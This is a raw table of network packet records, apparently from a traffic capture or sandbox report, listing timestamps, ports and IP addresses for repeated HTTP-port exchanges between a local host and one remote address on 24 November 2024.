Nov 24, 2024 12:24:18.226221085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.226289988 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.226370096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.226414919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.227094889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.227139950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.227219105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.227261066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.227910995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.227956057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.227962971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.228001118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.228732109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.228776932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.228864908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.228910923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.229510069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.229554892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.386962891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.387000084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.387082100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.387351036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.387403011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.387447119 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.387490034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.388190985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.388233900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.388353109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.388396978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.389035940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.389075994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.389137983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.389178038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.389947891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.389990091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.390058041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.390098095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.390718937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.390764952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.390893936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.390937090 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.391556978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.391606092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.391621113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.391660929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.392410040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.392457008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.392520905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.392563105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.393198967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.393244028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.393260002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.393300056 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.394079924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.394124985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.394180059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.394222975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.394897938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.394939899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.394948959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.394989967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.395713091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.395757914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.395833969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.395881891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.396585941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.396631002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.396702051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.396744967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.397412062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.397480965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.397519112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.397562027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.398230076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.398272991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.398345947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.398386955 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.399092913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.399138927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.399203062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.399246931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.399929047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.399992943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.400037050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.400074959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.400769949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.400815010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.400959969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.401004076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.401587963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.401633024 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.401688099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.401731014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.402539015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.402551889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.402580023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.402596951 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.403383017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.403394938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.403428078 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.403435946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.404122114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.404162884 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.404177904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.404216051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.404920101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.404964924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.405034065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.405082941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.405771017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.405808926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.405817032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.405857086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.406608105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.406652927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.406743050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.406785011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.407459974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.407522917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.407573938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.407618046 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.408288002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.408330917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.408396959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.408451080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.409162045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.409205914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.409302950 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.409344912 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.410104036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.410150051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.410200119 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.410244942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.410800934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.410845041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.410923958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.410965919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.411626101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.411670923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.411744118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.411787987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.412527084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.412573099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.412707090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.412759066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.413347960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.413387060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.413463116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.413500071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.414139986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.414176941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.414251089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.414293051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.415038109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.415079117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.415174007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.415211916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.415904999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.415955067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.416079044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.416121960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.416703939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.416747093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.416843891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.416888952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.417577982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.417639017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.417764902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.417808056 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.418365002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.418407917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.418462992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.418505907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.419179916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.419226885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.419298887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.419370890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.420027018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.420074940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.420178890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.420221090 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.420916080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.420960903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.421262980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.421307087 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.421689034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.421736002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.421806097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.421848059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.422513008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.422554016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.422900915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.422945023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.423369884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.423413992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.423609018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.423652887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.424176931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.424221992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.424406052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.424448967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.425035954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.425080061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.425156116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.425198078 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.425888062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.425931931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.426033020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.426074028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.426706076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.426743984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.426892042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.426934004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.427521944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.427563906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.427576065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.427617073 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.428383112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.428431988 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.428505898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.428550959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.429280043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.429326057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.429490089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.429533958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.430023909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.430068016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.430170059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.430212021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.430835009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.430879116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.590060949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.590115070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.590245008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.590290070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.590354919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.590394020 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.590411901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.590450048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.591192961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.591245890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.591327906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.591371059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.592005968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.592052937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.592117071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.592159033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.592869043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.592910051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.592927933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.592967033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.593697071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.593748093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.593796015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.593838930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.594527960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.594578981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.594599009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.594640970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.595364094 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.595408916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.595637083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.595678091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.596224070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.596271038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.596373081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.596416950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.597035885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.597079992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.597130060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.597172976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.597891092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.597934961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.598011017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.598054886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.598716974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.598766088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.598819971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.598862886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.599611044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.599654913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.599673033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.599713087 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.600383043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.600449085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.600495100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.600539923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.601191998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.601233959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.601310015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.601349115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.602040052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.602089882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.602174997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.602216959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.602916002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.602965117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.602984905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.603025913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.603769064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.603817940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.603884935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.603929043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.604548931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.604590893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.604682922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.604726076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.605380058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.605427027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.605859995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.605906963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.606220007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.606264114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.606331110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.606374025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.607043028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.607088089 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.607146025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.607189894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.608036041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.608052015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.608083010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.608720064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.608767033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.608876944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.608921051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.609556913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.609603882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.609689951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.609731913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.610410929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.610517025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.610532999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.610568047 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.611257076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.611304045 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.611417055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.611460924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.612071037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.612127066 CET	49765	80	192.168.2.4	31.41.244.11
